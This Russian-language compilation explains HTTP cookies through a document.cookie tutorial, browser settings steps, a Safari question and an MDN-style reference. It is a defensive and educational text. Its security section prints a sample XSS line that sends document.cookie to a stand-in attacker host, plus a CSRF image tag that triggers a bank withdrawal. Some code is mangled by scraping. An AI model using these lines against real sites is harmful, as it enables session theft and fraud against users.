Как добавить куки в браузер

Куки, document.cookie

Куки – это небольшие строки данных, которые хранятся непосредственно в браузере. Они являются частью HTTP-протокола, определённого в спецификации RFC 6265.

Куки обычно устанавливаются веб-сервером при помощи заголовка Set-Cookie . Затем браузер будет автоматически добавлять их в (почти) каждый запрос на тот же домен при помощи заголовка Cookie .

Один из наиболее частых случаев использования куки – это аутентификация:

При входе на сайт сервер отсылает в ответ HTTP-заголовок Set-Cookie для того, чтобы установить куки со специальным уникальным идентификатором сессии («session identifier»).
Во время следующего запроса к этому же домену браузер посылает на сервер HTTP-заголовок Cookie .
Таким образом, сервер понимает, кто сделал запрос.

Мы также можем получить доступ к куки непосредственно из браузера, используя свойство document.cookie .

Куки имеют множество особенностей и тонкостей в использовании, и в этой главе мы подробно с ними разберёмся.

Чтение из document.cookie

Хранит ли ваш браузер какие-то куки с этого сайта? Посмотрим:

// На javascript.info мы используем сервис Google Analytics для сбора статистики, // поэтому какие-то куки должны быть alert( document.cookie ); // cookie1=value1; cookie2=value2;.

Значение document.cookie состоит из пар ключ=значение , разделённых ; . Каждая пара представляет собой отдельное куки.

Чтобы найти определённое куки, достаточно разбить строку из document.cookie по ; , и затем найти нужный ключ. Для этого мы можем использовать как регулярные выражения, так и функции для обработки массивов.

Оставим эту задачу читателю для самостоятельного выполнения. Кроме того, в конце этой главы вы найдёте полезные функции для работы с куки.

Запись в document.cookie

Мы можем писать в document.cookie . Но это не просто свойство данных, а акcессор (геттер/сеттер). Присваивание к нему обрабатывается особым образом.

Запись в document.cookie обновит только упомянутые в ней куки, но при этом не затронет все остальные.

Например, этот вызов установит куки с именем user и значением John :

document.cookie = "user=John"; // обновляем только куки с именем 'user' alert(document.cookie); // показываем все куки

Если вы запустите этот код, то, скорее всего, увидите множество куки. Это происходит, потому что операция document.cookie= перезапишет не все куки, а лишь куки с вышеупомянутым именем user .

Технически, и имя и значение куки могут состоять из любых символов, для правильного форматирования следует использовать встроенную функцию encodeURIComponent :

// специальные символы (пробелы), требуется кодирование let name = "my name"; let value = "John Smith" // кодирует в my%20name=John%20Smith document.cookie = encodeURIComponent(name) + '=' + encodeURIComponent(value); alert(document.cookie); // . ; my%20name=John%20Smith

Ограничения

Существует несколько ограничений:

После encodeURIComponent пара name=value не должна занимать более 4Кб. Таким образом, мы не можем хранить в куки большие данные.
Общее количество куки на один домен ограничивается примерно 20+. Точное ограничение зависит от конкретного браузера.

У куки есть ряд настроек, многие из которых важны и должны быть установлены.

Эти настройки указываются после пары ключ=значение и отделены друг от друга разделителем ; , вот так:

document.cookie = "user=John; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT"

path

URL-префикс пути, куки будут доступны для страниц под этим путём. Должен быть абсолютным. По умолчанию используется текущий путь.

Если куки установлено с path=/admin , то оно будет доступно на страницах /admin и /admin/something , но не на страницах /home или /adminpage .

Как правило, указывают в качестве пути корень path=/ , чтобы наше куки было доступно на всех страницах сайта.

domain

Домен определяет, где доступен файл куки. Однако на практике существуют определённые ограничения. Мы не можем указать здесь какой угодно домен.

Нет никакого способа разрешить доступ к файлам куки из другого домена 2-го уровня, поэтому other.com никогда не получит куки, установленный по адресу site.com .

Это ограничение безопасности, позволяющее нам хранить конфиденциальные данные в файлах куки, которые должны быть доступны только на одном сайте.

По умолчанию куки доступны лишь тому домену, который его установил.

Пожалуйста, обратите внимание, что по умолчанию файл куки также не передаётся поддомену, например forum.site.com .

// если мы установим файл куки на веб-сайте site.com. document.cookie = "user=John" // . мы не увидим его на forum.site.com alert(document.cookie); // нет user

…Но это можно изменить. Если мы хотим разрешить поддоменам типа forum.site.com получать куки, установленные на site.com , это возможно.

Чтобы это произошло, при установке файла куки в site.com , мы должны явно установить параметр domain для корневого домена: domain=site.com . После этого все поддомены увидят такой файл cookie.

// находясь на странице site.com // сделаем куки доступным для всех поддоменов *.site.com: document.cookie = "user=John; domain=site.com" // позже // на forum.site.com alert(document.cookie); // есть куки user=John

По историческим причинам установка domain=.site.com (с точкой перед site.com ) также работает и разрешает доступ к куки для поддоменов. Это старая запись, но можно использовать и её, если нужно, чтобы поддерживались очень старые браузеры.

Таким образом, опция domain позволяет нам разрешить доступ к куки для поддоменов.

expires, max-age

По умолчанию, если куки не имеют ни одного из этих параметров, то они удалятся при закрытии браузера. Такие куки называются сессионными («session cookies»).

Чтобы помочь куки «пережить» закрытие браузера, мы можем установить значение опций expires или max-age .

expires=Tue, 19 Jan 2038 03:14:07 GMT

Дата истечения срока действия куки, когда браузер удалит его автоматически.

Дата должна быть точно в этом формате, во временной зоне GMT. Мы можем использовать date.toUTCString , чтобы получить правильную дату. Например, мы можем установить срок действия куки на 1 день.

// +1 день от текущей даты let date = new Date(Date.now() + 86400e3); date = date.toUTCString(); document.cookie = "user=John; expires=" + date;

Если мы установим в expires прошедшую дату, то куки будет удалено.

Альтернатива expires , определяет срок действия куки в секундах с текущего момента.

Если задан ноль или отрицательное значение, то куки будет удалено:

// куки будет удалено через 1 час document.cookie = "user=John; max-age=3600"; // удалим куки (срок действия истекает прямо сейчас) document.cookie = "user=John; max-age=0";

secure

Куки следует передавать только по HTTPS-протоколу.

По умолчанию куки, установленные сайтом http://site.com , также будут доступны на сайте https://site.com и наоборот.

То есть, куки, по умолчанию, опираются на доменное имя, они не обращают внимания на протоколы.

С этой настройкой, если куки будет установлено на сайте https://site.com , то оно не будет доступно на том же сайте с протоколом HTTP, как http://site.com . Таким образом, если в куки хранится конфиденциальная информация, которую не следует передавать по незашифрованному протоколу HTTP, то нужно установить этот флаг.

// предполагается, что сейчас мы на https:// // установим опцию secure для куки (куки доступно только через HTTPS) document.cookie = "user=John; secure";

samesite

Это ещё одна настройка безопасности, применяется для защиты от так называемой XSRF-атаки (межсайтовая подделка запроса).

Чтобы понять, как настройка работает и где может быть полезной, посмотрим на XSRF-атаки.

Атака XSRF

Представьте, вы авторизовались на сайте bank.com . То есть: у вас есть куки для аутентификации с этого сайта. Ваш браузер отправляет его на сайт bank.com с каждым запросом, чтобы сервер этого сайта узнавал вас и выполнял все конфиденциальные финансовые операции.

Теперь, просматривая веб-страницу в другом окне, вы случайно переходите на сайт evil.com , который автоматически отправляет форму на сайт bank.com с заполненными полями, которые инициируют транзакцию на счёт хакера.

Браузер посылает куки при каждом посещении bank.com , даже если форма была отправлена с evil.com . Таким образом, банк узнает вас и выполнит платёж.

Такая атака называется межсайтовая подделка запроса (или Cross-Site Request Forgery, XSRF).

Конечно же, в реальной жизни банки защищены от такой атаки. Во всех сгенерированных сайтом bank.com формах есть специальное поле, так называемый «токен защиты от xsrf», который вредоносная страница не может ни сгенерировать, ни каким-либо образом извлечь из удалённой страницы (она может отправить форму туда, но не может получить данные обратно). И сайт bank.com при получении формы проверяет его наличие.

Но такая защита требует усилий на её реализацию: нам нужно убедиться, что в каждой форме есть поле с токеном, также мы должны проверить все запросы.

Настройка samesite

Параметр куки samesite предоставляет ещё один способ защиты от таких атак, который (теоретически) не должен требовать «токенов защиты xsrf».

У него есть два возможных значения:

samesite=strict (или, что то же самое, samesite без значения)

Куки с samesite=strict никогда не отправятся, если пользователь пришёл не с этого же сайта.

Другими словами, если пользователь переходит по ссылке из почты, отправляет форму с evil.com или выполняет любую другую операцию, происходящую с другого домена, то куки не отправляется.

Если куки имеют настройку samesite , то атака XSRF не имеет шансов на успех, потому что отправка с сайта evil.com происходит без куки. Таким образом, сайт bank.com не распознает пользователя и не произведёт платёж.

Защита довольно надёжная. Куки с настройкой samesite будет отправлено только в том случае, если операции происходят с сайта bank.com , например отправка формы сделана со страницы на bank.com .

Хотя есть небольшие неудобства.

Когда пользователь перейдёт по ссылке на bank.com , например из своих заметок, он будет удивлён, что сайт bank.com не узнал его. Действительно, куки с samesite=strict в этом случае не отправляется.

Мы могли бы обойти это ограничение, используя два куки: одно куки для «общего узнавания», только для того, чтобы поздороваться: «Привет, Джон», и другое куки для операций изменения данных с samesite=strict . Тогда пользователь, пришедший на сайт, увидит приветствие, но платежи нужно инициировать с сайта банка, чтобы отправилось второе куки.

Это более мягкий вариант, который также защищает от XSRF и при этом не портит впечатление от использования сайта.

Режим Lax так же, как и strict , запрещает браузеру отправлять куки, когда запрос происходит не с сайта, но добавляет одно исключение.

Куки с samesite=lax отправляется, если два этих условия верны:

Используются безопасные HTTP-методы (например, GET, но не POST). Полный список безопасных HTTP-методов можно посмотреть в спецификации RFC7231. По сути, безопасными считаются методы, которые обычно используются для чтения, но не для записи данных. Они не должны выполнять никаких операций на изменение данных. Переход по ссылке является всегда GET-методом, то есть безопасным.
Операция осуществляет навигацию верхнего уровня (изменяет URL в адресной строке браузера). Обычно это так, но если навигация выполняется в , то это не верхний уровень. Кроме того, JavaScript-методы для сетевых запросов не выполняют никакой навигации, поэтому они не подходят.

Таким образом, режим samesite=lax , позволяет самой распространённой операции «переход по ссылке» передавать куки. Например, открытие сайта из заметок удовлетворяет этим условиям.

Но что-то более сложное, например, сетевой запрос с другого сайта или отправка формы, теряет куки.

Если это вам подходит, то добавление samesite=lax , скорее всего, не испортит впечатление пользователей от работы с сайтом и добавит защиту.

В целом, samesite отличная настройка.

Но у неё есть важный недостаток:

samesite игнорируется (не поддерживается) старыми браузерами, выпущенными до 2017 года и ранее.

Так что, если мы будем полагаться исключительно на samesite , то старые браузеры будут уязвимы.

Но мы, безусловно, можем использовать samesite вместе с другими методами защиты, такими как XSRF-токены, чтобы добавить дополнительный слой защиты, а затем, в будущем, когда старые браузеры полностью исчезнут, мы, вероятно, сможем полностью удалить XSRF-токены.

httpOnly

Эта настройка не имеет ничего общего с JavaScript, но мы должны упомянуть её для полноты изложения.

Веб-сервер использует заголовок Set-Cookie для установки куки. И он может установить настройку httpOnly .

Эта настройка запрещает любой доступ к куки из JavaScript. Мы не можем видеть такое куки или манипулировать им с помощью document.cookie .

Эта настройка используется в качестве меры предосторожности от определённых атак, когда хакер внедряет свой собственный JavaScript-код в страницу и ждёт, когда пользователь посетит её. Это вообще не должно быть возможным, хакер не должен быть в состоянии внедрить свой код на ваш сайт, но могут быть ошибки, которые позволят хакеру сделать это.

Обычно, если такое происходит, и пользователь заходит на страницу с JavaScript-кодом хакера, то этот код выполняется и получает доступ к document.cookie , и тем самым к куки пользователя, которые содержат аутентификационную информацию. Это плохо.

Но если куки имеет настройку httpOnly , то document.cookie не видит его, поэтому такое куки защищено.

Приложение: Функции для работы с куки

Вот небольшой набор функций для работы с куки, более удобных, чем ручная модификация document.cookie .

Для этого существует множество библиотек, так что они, скорее, в демонстрационных целях. Но при этом полностью рабочие.

getCookie(name)

Самый короткий способ получить доступ к куки – это использовать регулярные выражения.

Функция getCookie(name) возвращает куки с указанным name :

// возвращает куки с указанным name, // или undefined, если ничего не найдено function getCookie(name) < let matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|<>\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : undefined; >

Здесь new RegExp генерируется динамически, чтобы находить ; name= .

Обратите внимание, значение куки кодируется, поэтому getCookie использует встроенную функцию decodeURIComponent для декодирования.

setCookie(name, value, options)

Устанавливает куки с именем name и значением value , с настройкой path=/ по умолчанию (можно изменить, чтобы добавить другие значения по умолчанию):

function setCookie(name, value, options = <>) < options = < path: '/', // при необходимости добавьте другие значения по умолчанию . options >; if (options.expires instanceof Date) < options.expires = options.expires.toUTCString(); >let updatedCookie = encodeURIComponent(name) + "=" + encodeURIComponent(value); for (let optionKey in options) < updatedCookie += "; " + optionKey; let optionValue = options[optionKey]; if (optionValue !== true) < updatedCookie += "=" + optionValue; >> document.cookie = updatedCookie; > // Пример использования: setCookie('user', 'John', );

deleteCookie(name)

Чтобы удалить куки, мы можем установить отрицательную дату истечения срока действия:

function deleteCookie(name) < setCookie(name, "", < 'max-age': -1 >) >

Операции обновления или удаления куки должны использовать те же путь и домен

Обратите внимание: когда мы обновляем или удаляем куки, нам следует использовать только такие же настройки пути и домена, как при установке куки.

Приложение: Сторонние куки

Куки называются сторонними, если они размещены с домена, отличающегося от страницы, которую посещает пользователь.

Страница site.com загружает баннер с другого сайта: .
Вместе с баннером удалённый сервер ads.com может установить заголовок Set-Cookie с куки, например, id=1234 . Такие куки создаются с домена ads.com и будут видны только на сайте ads.com :

Сторонние куки в силу своей специфики обычно используются для целей отслеживания посещаемых пользователем страниц и показа рекламы. Они привязаны к исходному домену, поэтому ads.com может отслеживать одного и того же пользователя на разных сайтах, если оттуда идёт обращение к нему.

Естественно, некоторым пользователям не нравится, когда их отслеживают, поэтому браузеры позволяют отключать такие куки.

Кроме того, некоторые современные браузеры используют специальные политики для таких куки:

Safari вообще не разрешает сторонние куки.
У Firefox есть «чёрный список» сторонних доменов, чьи сторонние куки он блокирует.

На заметку:

Если мы загружаем скрипт со стороннего домена, например , и этот скрипт использует document.cookie , чтобы установить куки, то такое куки не является сторонним.

Если скрипт устанавливает куки, то нет разницы откуда был загружен скрипт – куки принадлежит домену текущей веб-страницы.

Приложение: GDPR

Эта тема вообще не связана с JavaScript, но следует её иметь в виду при установке куки.

В Европе существует законодательство под названием GDPR, которое устанавливает для сайтов ряд правил, обеспечивающих конфиденциальность пользователей. И одним из таких правил является требование явного разрешения от пользователя на использование отслеживающих куки.

Обратите внимание, это относится только к куки, используемым для отслеживания/идентификации/авторизации.

То есть, если мы установим куки, которые просто сохраняют некоторую информацию, но не отслеживают и не идентифицируют пользователя, то мы свободны от этого правила.

Но если мы собираемся установить куки с информацией об аутентификации или с идентификатором отслеживания, то пользователь должен явно разрешить это.

Есть два основных варианта как сайты следуют GDPR. Вы наверняка уже видели их в сети:

Если сайт хочет установить куки для отслеживания только для авторизованных пользователей. То в регистрационной форме должен быть установлен флажок «принять политику конфиденциальности» (которая определяет, как используются куки), пользователь должен установить его, и только тогда сайт сможет использовать авторизационные куки.
Если сайт хочет установить куки для отслеживания всем пользователям. Чтобы сделать это законно, сайт показывает модальное окно для пользователей, которые зашли в первый раз, и требует от них согласие на использование куки. Затем сайт может установить такие куки и показать пользователю содержимое страницы. Хотя это создаёт неудобства для новых посетителей – никому не нравится наблюдать модальные окна вместо контента. Но GDPR в данной ситуации требует явного согласия пользователя.

GDPR касается не только куки, но и других вопросов, связанных с конфиденциальностью, которые выходят за рамки материала этой главы.

Итого

document.cookie предоставляет доступ к куки.

Операция записи изменяет только то куки, которое было указано.
Имя и значение куки должны быть закодированы.
Одно куки вмещает до 4kb данных, разрешается более 20 куки на сайт (зависит от браузера).

path=/ , по умолчанию устанавливается текущий путь, делает куки видимым только по указанному пути и ниже.
domain=site.com , по умолчанию куки видно только на текущем домене, если явно указан домен, то куки видно и на поддоменах.
expires или max-age устанавливает дату истечения срока действия, без них куки умрёт при закрытии браузера.
secure делает куки доступным только при использовании HTTPS.
samesite запрещает браузеру отправлять куки с запросами, поступающими извне, помогает предотвратить XSRF-атаки.

Сторонние куки могут быть запрещены браузером, например Safari делает это по умолчанию.
Установка отслеживающих куки пользователям из стран ЕС требует их явного согласия на это в соответствии с законодательством GDPR.

Как включить поддержку файлов Cookie

Если Вы пользуетесь браузером Internet Explorer 6-11 , Вам нужно:

Зайти в меню «Сервис» (Tools) -> Свойства обозревателя» (Internet Options)
Выбрать закладку «Конфиденциальность» (Privacy)
Переместить бегунок в самое нижнее положение: «Разрешить все файлы куки» (Enable All Cookies).
Нажать «ОК»

Если Вы пользуетесь браузером Opera 9-12 , Вам нужно:

Зайти в меню, выбрать пункт «Настройки» («Инструменты») -> «Общие настройки» — «Расширенные»
В разделе «Cookies» установите флажок -> Принимать «cookies», остальные пункты оставить без отметок
Нажать «ОК»

Если Вы пользуетесь браузером Opera 15-20 , Вам нужно:

Зайти в меню, выбрать пункт «Настройки» -> «Конфиденциальность и безопасность»
В разделе «Cookies» установите флажок -> Разрешить локальное сохранение данных (рекомендовано)

Если Вы пользуетесь браузером Google Chrome , Вам нужно:

Зайти в меню «Настройки браузера» (значок в виде «гаечного ключа» в правом верхнем углу)
В меню «Параметры» — выберите вкладку «Расширенные» и в разделе «Конфиденциальность» выберите «Настройка содержания», затем в разделе «Файлы cookie» выберите значение «Разрешить сохранять локальные данные»
Нажмите кнопку «Закрыть»

Если Вы пользуетесь другим браузером, сообщите нам каким именно, и мы постараемся Вам помочь.

Как добавить или изменить файлы cookie в Safari 13?

Каким образом можно добавить или изменить cookies в Safari 13.1.2 Пробовал традиционно, как и в Google Chrome добавить нужные мне cookies, вручную через инструменты разработчика, но не получилось.

Отслеживать
задан 20 дек 2021 в 18:56
Дмитрий Дубовский Дмитрий Дубовский

1 ответ 1

Сортировка: Сброс на вариант по умолчанию

В Safari можно добавить cookies с помощью консоли разработчика. Откройте консоль разработчика, и введите в неё следующий код, далее нажмите enter.

Отслеживать
ответ дан 20 дек 2021 в 19:01
Дмитрий Дубовский Дмитрий Дубовский

Ваш ответ можно улучшить с помощью дополнительной информации. Пожалуйста, нажмите править для добавления подробностей, например, цитат или документации, чтобы другие могли подтвердить правильность вашего ответа. Вы можете найти дополнительную информацию о том, как писать хорошие ответы в Справке.

HTTP-куки

HTTP cookie (web cookie, куки браузера) — это небольшой фрагмент данных, который сервер отправляет браузеру пользователя. Браузер может сохранить этот фрагмент у себя и отправлять на сервер с каждым последующим запросом. Это, в частности, позволяет узнать, с одного ли браузера пришли несколько запросов (например, для аутентификации пользователя). С помощью кук можно сохранить любую информацию о состоянии, HTTP-протокол сам по себе этого делать не умеет.

Куки часто используются для:

Управления сеансом (логины, корзины для виртуальных покупок)
Персонализации (пользовательские предпочтения)
Трекинга (отслеживания поведения пользователей)

До недавнего времени куки использовались в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API для хранения данных, это уже не так. Из-за того что куки пересылаются с каждым запросом, они могут ухудшать производительность (особенно при использовании мобильных сетей). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API ( localStorage и sessionStorage ) и IndexedDB.

Примечание: Чтобы посмотреть сохранённые куки и другие хранилища данных, которые использует веб-страница, можно использовать Storage Inspector (Инспектор хранилища) в инструментах разработчика.

Создание куки

Получив HTTP-запрос, вместе с ответом сервер может отправить заголовок Set-Cookie . Куки обычно запоминаются браузером и посылаются в HTTP-заголовке Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия кук, а также срок их жизни, после которого куки не будут отправляться. Также можно указать ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту они будут отсылаться.

Заголовки Set-Cookie и Cookie

Заголовок Set-Cookie HTTP-ответа используется для отправки куки с сервера в клиентское приложение (браузер). Простой куки может задаваться так:

Set-Cookie: =

Этот заголовок с сервера даёт клиенту указание сохранить куки (это делают, например, PHP, Node.js, Python и Ruby on Rails). Ответ, отправляемый браузеру, содержит заголовок Set-Cookie , и куки запоминается браузером.

HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]

Теперь с каждым новым запросом к серверу при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее куки.

GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Сессионные cookie

Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) — такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные cookies

Постоянные cookie (permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires ) или после определённого интервала времени (атрибут Max-Age ).

Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure («безопасные») и HttpOnly куки

«Безопасные» (secure) куки отсылаются на сервер только тогда, когда запрос отправляется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в куках, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом Secure .

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех кук, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly .

Set-Cookie: Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куки

Директивы Domain и Path определяют область видимости куки, то есть те URL-адреса, к которым куки будут отсылаться.

Атрибут Domain

Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов). Если домен указан явно, то поддомены всегда включены.

Например, если задано Domain=mozilla.org , то куки включены и в поддоменах, например, в developer.mozilla.org .

Атрибут Path

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie . Символ %x2F («/») интерпретируется как разделитель в URL-пути, подпути также будут учитываться.

Если задан Path=/docs , то совпадать будут следующие пути:

/docs
/docs/
/docs/Web/
/docs/Web/HTTP

А эти пути совпадать не будут:

Куки SameSite

Куки отправляются на сервер при любых запросах, даже если запрашивается статический ресурс с чужого сервера, то есть если происходит межсайтовый запрос. Например, если страница сайта site.com содержит изображение сайта site.net, при запросе изображения в запросе будут отправлены все куки пользователя для site.net. Чтобы ограничить отправку кук только тому сайту, которому они принадлежат, используют атрибут SameSite.

C помощью атрибута SameSite можно указать, когда и как отправлять куки с межсайтовыми запросами (где сайт определяется комбинацией домена и схемы http: или https: ). В некоторой степени этот атрибут защищает от межсайтовой подделки запроса (CSRF). SameSite может принимать три возможных значения: Strict , Lax и None .

С атрибутом Strict куки будут отправляться только тому сайту, которому эти куки принадлежат. Атрибут Lax работает похоже, но куки будут отправляться также при навигации на тот сайт, которому принадлежат куки. Например, при переходе по ссылке с внешнего сайта. Атрибут None отключает ограничение на отправку кук для межсайтовых запросов, но только в безопасном контексте (то есть если установлен SameSite=None , тогда также должен быть установлен атрибут Secure ). Если атрибут SameSite не установлен, куки будут восприниматься как Lax .

-Cookie: mykey=myvalue; SameSite=Strict

Примечание: В таблице совместимости (en-US) вы можете найти информацию о том, как обрабатываются атрибуты в конкретных версиях браузеров.

Куки с префиксами

Из-за дизайна механизма кук сервер не может подтвердить, что куки были отправлены с защищённого источника (secure origin), или быть уверенным в том, где именно они были установлены.

Уязвимое приложение поддомена может установить куку с атрибутом Domain , тем самым открывая к ней доступ на всех других поддоменнах. Этот механизм может эксплуатироваться с атакой фиксация сессии.

Примечание: Ознакомьтесь со статьёй фиксация сессии (en-US) , чтобы узнать об основных методах защиты от этой атаки.

Тем не менее в соответствии с принципом защита в глубину вы можете использовать куки с префиксами, чтобы гарантировать специфические факты о куках. Доступны два префикса:

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Также кука не должна включать атрибут Domain и должна содержать атрибут Path со значением / .

Если в куке содержится этот префикс, она будет установлена заголовком Set-Cookie только в том случае, если кука будет содержать атрибут Secure и если запрос будет отправляться из защищённого источника. Защита с помощью этого префикса слабее по сравнению с префиксом __Host- .

Браузеры будут отклонять установку этих кук, если они не будут удовлетворять всем ограничениям. Заметьте, что куки с префиксами, созданные в рамках поддомена, будут ограничиваться только им или будут полностью игнорироваться. Так как бэкенд проверяет только куки с заранее известными именами при авторизации пользователя или валидации CSRF-токена, куки с префиксами фактически работают как защитный механизм от фиксации сессии.

Примечание: Бэкенд веб-приложения обязан обращаться по полному имени куки, включая префикс. Пользовательские агенты не удаляют префикс из имени кук перед их отправкой в HTTP-заголовке Cookie (en-US) .

Для получения информации о статусе поддержки префиксов в разных браузерах обратитесь к статье про Set-Cookie .

Доступ из JavaScript с помощью Document.cookie

Куки можно создавать с помощью JavaScript, используя DOM-свойство Document.cookie . Также можно читать куки из JavaScript, если не был установлен атрибут HttpOnly .

.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // выведет "yummy_cookie=choco; tasty_cookie=strawberry"

Куки, созданные с помощью JavaScript, не могут содержать атрибут HttpOnly .

Пожалуйста, учитывайте вытекающие из этого проблемы, про которые рассказывается ниже в разделе Безопасность. Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Безопасность

Примечание: При сохранении информации в куках имейте в виду, что у всех пользователей есть возможность просматривать и изменять их значения. В зависимости от типа приложения вы можете использовать ни о чём не говорящее имя для идентификатора кук, смысл которого будет понятен только бэкенду. Также вы можете рассмотреть возможность использования альтернативных механизмов аутентификации и конфиденциальности, например, JSON Web Tokens

Способы предотвращения атак, использующих куки:

Используйте атрибут HttpOnly для предотвращения доступа к кукам из JavaScript.
Куки, которые используются для хранения чувствительной информации, такой как аутентификационный токен, должны иметь короткое время жизни и атрибут SameSite , установленный в Strict или Lax . Для того чтобы узнать больше, смотрите раздел SameSite. В браузерах с поддержкой SameSite это гарантирует предотвращение отправки кук аутентификации с межсайтовыми запросами, фактически такие запросы с точки зрения бэкенда становятся неаутентифицированными.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации аутентифицированного пользователя и сеанса работы. Соответственно, похищение кук из приложения может привести к захвату авторизованного сеанса пользователя. Кража кук часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости XSS (en-US).

new Image().src = "http://www.evil-domain.com/steal-cookie.php?cookie token operator">+ document.cookie;

Атрибут HttpOnly помогает уменьшить эту угрозу, перекрывая доступ к кукам из JavaScript.

Межсайтовая подделка запроса (CSRF — Cross-site request forgery)

В Wikipedia есть хороший пример CSRF. В сообщение, например, в чате или на форуме, включают «изображение», которое, на самом деле, представляет собой запрос к серверу банка на снятие денег:

img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" />

Если вы аутентифицированны в своём банковском аккаунте, а куки по-прежнему действительны (и никакой дополнительной проверки не требуется), то при загрузке HTML-документа форума или чата с этим изображением деньги будут переведены с вашего счета. Для защиты от этого используется ряд методов:

Как и при XSS (en-US), важна фильтрация входящей информации.
Для любой чувствительной операции должно запрашиваться подтверждение.
Куки, используемые для чувствительных операций, должны иметь короткий срок действия.
Дополнительную информацию можно получить в пользовательской инструкции по предотвращению CSRF на сайте OWASP.

Трекинг и приватность

Сторонние (Third-party) куки

Куки ассоциируются с определённым доменом и схемой (такой как http: или https: ). Также они могут быть ассоциированы с поддоменом с помощью атрибута Domain . Если домен и схема кук совпадает с доменом и схемой текущей страницы, на которой вы находитесь, то их называют собственными куками (first-party cookies). Если домен и схема кук отличается от домена и схемы текущей страницы, то такие куки называют сторонними куками (third-party cookies).

Сервер, хостящий страницу, устанавливает собственные куки, но на странице могут находиться изображения и другие компоненты с других доменов (например, баннерная реклама), они в свою очередь могут устанавливать сторонние куки. Сторонние куки часто используются для рекламы и трекинга пользователей в сети. Как пример, можете посмотреть куки, которые устанавливает Google.

Третья сторона, контролирующая внедрение сторонних кук, может создать профиль пользователя на основе истории его посещений разных сайтов с помощью кук, отправляемых одним и тем же браузером с разных сайтов. Firefox по умолчанию блокирует сторонние куки, про которые известно, что они используются для трекинга пользователей. Сторонние куки (или просто куки для трекинга) могут также быть заблокированы другими настройками браузера или расширениями. Блокировка кук в некоторых ситуациях может стать причиной некорректного поведения сторонних компонентов, например, виджетов социальных сетей.

Примечание: Бэкенд может (и должен) устанавливать у кук атрибут SameSite (en-US) для управления отправкой кук на сторонние серверы.

Законодательство, связанное с куки

Регулирующие акты и законодательство, покрывающие куки, включают:

General Data Privacy Regulation (GDPR) в Европейском Союзе
ePrivacy Directive в Европейском Союзе
California Consumer Privacy Act в Штате Калифорния

Эти акты и директивы действуют глобально. Они применяются ко всем сайтам во Всемирной паутине, к которым пользователи из данных юрисдикций получают доступ (Европейский Союз и Калифорния, с оговоркой, что Калифорнийский закон применяется к компаниям с доходом выше 25 миллионов долларов и несколькими другими оговорками).

Эти акты и директивы включают такие требования как:

Сообщать пользователям, что сайт использует куки.
Давать возможность пользователям отказываться от получения всех или некоторых кук.
Давать возможность пользователям использовать основные функции вашего сервиса без получения кук.

Могут существовать другие законодательные акты, которые применимы к вашей локальной юрисдикции. На вас лежит ответственность знать про них и следовать им. Существуют компании, которые предлагают код с «куки баннером» и берут на себя заботы о следовании законодательству, связанному с куками.

Другие способы хранения информации в браузере

Другой способ для хранения данных в браузере — Web Storage API. Свойства window.sessionStorage и window.localStorage подобны сессионным и постоянным кукам, но позволяют хранить больше данных и никогда не отправляются на сервер. Для хранения ещё большего объёма структурированных данных может использоваться IndexedDB API или библиотеки, построенные поверх него.

Существуют техники для повторной установки кук после их удаления. Такие куки называются куки-зомби. Эти техники нарушают принципы приватности пользователей и пользовательского контроля и могут нарушать законодательства, регулирующие приватность данных, соответственно, использующий их сайт подвержен судебному разбирательству.